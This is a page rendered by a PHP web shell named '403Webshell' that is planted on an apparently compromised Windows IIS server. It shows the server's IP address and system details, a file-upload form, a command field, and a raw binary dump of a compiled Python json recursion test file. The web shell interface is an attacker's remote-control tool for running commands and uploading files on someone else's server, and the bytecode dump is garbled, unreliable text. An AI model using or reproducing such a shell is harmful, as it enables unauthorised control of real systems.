403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/test_json/__pycache__/test_recursion.cpython-315.opt-1.pyc
R
>lqj.c�|�]QHGs]QHGsGsQQ2sQQ2sQQ\\2sQ	Q
\\2sP!)�)�support)�PyTest�CTestc��\sQs]sQsP!)�JSONTestObject���__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��2C:\Python315\\Lib\test\test_json\test_recursion.pyrrs��rrc��`�\sQs]	snQsQsQs\O\OQ2\O2\O2Q2222s\O\O2\O2\OQ2Q2222s\O2\O2\O2Q222sQ	sUsP!)
�
TestRecursionc���,oUOU2UOU2UOQ2,oU,oUOU2UOU2UOQ2,oV3,oUOU2P![c(oSO	SO
Q,2Po=K~Po=hh9h[c/oSO	SO
Q,]*2Po=K�Po=hh9h)z)didn't raise ValueError on list recursion�when serializing list item 0z5didn't raise ValueError on alternating list recursion)�append�dumps�fail�
ValueError�assertEqual�	__notes__��self�x�exc�ys&   r�test_listrecursion� TestRecursion.test_listrecursion
s�����	�����	C��J�J�q�M�
�I�I�A�B���
�C��	�����	O��J�J�q�M�
�I�I�M�N���
�F���
�
�1�
��!�	N����S�]�]�-K�,L�M�M��	N���	P����S�]�]�-K�,L�Q�,N�O�O��	P�s;�B	�B>�		B;�B;�B6�6B;�>	C7�C7�	$C2�2C7c��-oVQ$UOU2UOQ2-oQUQU-oUOU2P![c(oSOSOQ,2Po=KHPo=hh9h)�testz)didn't raise ValueError on dict recursionz!when serializing dict item 'test'�a�b)rrrrrrs&   r�test_dictrecursion� TestRecursion.test_dictrecursion!s{�����&�	�	C��J�J�q�M�
�I�I�A�B���
�!�S�!����
�
�1�
���	S����S�]�]�-P�,Q�R�R��	S�s�A�	A8�A8�A3�3A8c�h�QQUOO2oU2oUOUO[2Q2P	UmUO[2UO
Q2P![c*oSOSOQQ,2Po=P!Po=hh9h)c�,`�\sQs]0snP
sQsQsUsP!)�ATestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoderc��U[IcUO%c[,!Q!UOOO	U2!)r)r�recurse�json�JSONEncoder�default�r�os&&rr.�ITestRecursion.test_defaultrecursion.<locals>.RecursiveJSONEncoder.default2s:����&��|�|�|� .�/�/�/��y�y�,�,�4�4�Q�7�7rr)r	r
rrr+r.r
�__classdictcell__��
__classdict__s@r�RecursiveJSONEncoderr)0s�����G�
8�
8rr5z"JSONTestObject"z,didn't raise ValueError on default recursionrzwhen serializing type object)	r,r-r�encoderr+rrr)rr5�encrs&   r�test_defaultrecursion�#TestRecursion.test_defaultrecursion/s���	8�4�9�9�#8�#8�	8�#�$��������N�3�5G�H����	F��J�J�~�&�
�I�I�D�E���	?����S�]�]�<�<�>�
?�
?��	?�s�A=�=	B1�B1�B,�,B1� �c	���QoUO[29^tt^2[O29^tt^2UO	QU*Q*QU**2PPP2PPP2UO[29^tt^2[O29^tt^2UO	QU*Q*QU**2PPP2PPP2UO[29^tt^2[O29^tt^2UO	QU*Q*QU**2PPP2PPP2P!)%fhCK
9h)%fhCK9h)%fhK�9h)%fhK�9h)%fhKh9h)%fhP!9h)r:z{"a":�1�}z[1]�[�])�assertRaises�RecursionErrorr�infinite_recursion�loads)r�	very_deeps& r�#test_highly_nested_objects_decoding�1TestRecursion.test_highly_nested_objects_decodingGs+��
�	��
�
�~�
.�
.��+�+�-�-��
�
�7�Y�.��4�s�Y��F�G�.�/��
�
�~�
.�
.��+�+�-�-��
�
�7�Y�.��6��y��H�I�.�/��
�
�~�
.�
.��+�+�-�-��
�
�3��?�S�0�3��?�B�C�.�/�
.�.�-�-��/�
.�
.��.�-��/�
.��.�-��/�
.�
.�s��F�.E1	�-F�F,�8.F	�&F,�G�1.F?	�G�1F
�:F
�<	F�F	�F	�F)
�"F)
�$F,�,F<	�5F<	�?G
�G
�
G�G#	�G#	�cpuc	�R�,-q![Q2FD	oU,QU-q!J	UO[29^tt^2[OQ29^tt^2UOU2PPP2PPP2UO[29^tt^2[OQ29^tt^2UOU2PPP2PPP2P!)%fhKx9h)%fhK�9h)%fhK@9h)%fhP!9h)r:�ki�)�ranger@rArrBr)r�l�drs&   r�#test_highly_nested_objects_encoding�1TestRecursion.test_highly_nested_objects_encodingYs����2�1��w��A��3��Q��q� �
�
�
�~�
.�
.��+�+�D�1�1��
�
�1�
�2�/��
�
�~�
.�
.��+�+�D�1�1��
�
�1�
�2�/�
.�2�1��/�
.��2�1��/�
.�
.�s_�C/�C	�,C/�D�8D	�
D�C,
�%C,
�'C/�/C?	�8C?	�D
�D
�
D�D&	�D&	c	�^�QQUOO2oUO[29^tt^2[O
Q29^tt^2UP
Q5O
Q2PPP2PPP2P!)%fhK9h)%fhP!9h)c�(`�\sQs]nsnQsQsUsP!)�@TestRecursion.test_endless_recursion.<locals>.EndlessJSONEncoderc�
�U,!)z?If check_circular is False, this will keep adding another list.rr/s&&rr.�HTestRecursion.test_endless_recursion.<locals>.EndlessJSONEncoder.defaultos	���s�
rr)r	r
rrr.r
r2r3s@r�EndlessJSONEncoderrQns����
�
rrT��)�check_circulary@)r,r-r@rArrBr6)rrTs& r�test_endless_recursion�$TestRecursion.test_endless_recursioniso��
	����!6�!6�	�
�
�
�~�
.�
.��+�+�D�1�1�"�%�8�?�?��C�2�/�
.�1�1��/�
.�
.�s/�B�B	�6B�B
�B
�B�B,	�$B,	r)r	r
rrrr%r8r�skip_if_pgo_task�skip_if_huge_c_stack�skip_emscripten_stack_overflow�skip_wasi_stack_overflowrE�skip_if_unlimited_stack_size�requires_resourcerMrWr
r2r3s@rrr	s������.�F�0
����!�!�'�*��+�+�-��%�%�'�D�(�.�+��D�
�)�)��%�%�'��+�+�-����u�%�
�&�.�(�*�
�
�!�!�#��+�+�-��%�%�'�	D�(�.�$�	Drrc��\sQs]xsQsP!)�TestPyRecursionrrrrrr`r`xs��drr`c��\sQs]ysQsP!)�TestCRecursionrrrrrrbrbys��Drrb)	r"r�test.test_jsonrrrrr`rbrrr�<module>rds:���(�	�	�lD�lD�^3�m�V�2�0�]�E�0r

Youez - 2016 - github.com/yon3zu
LinuXploit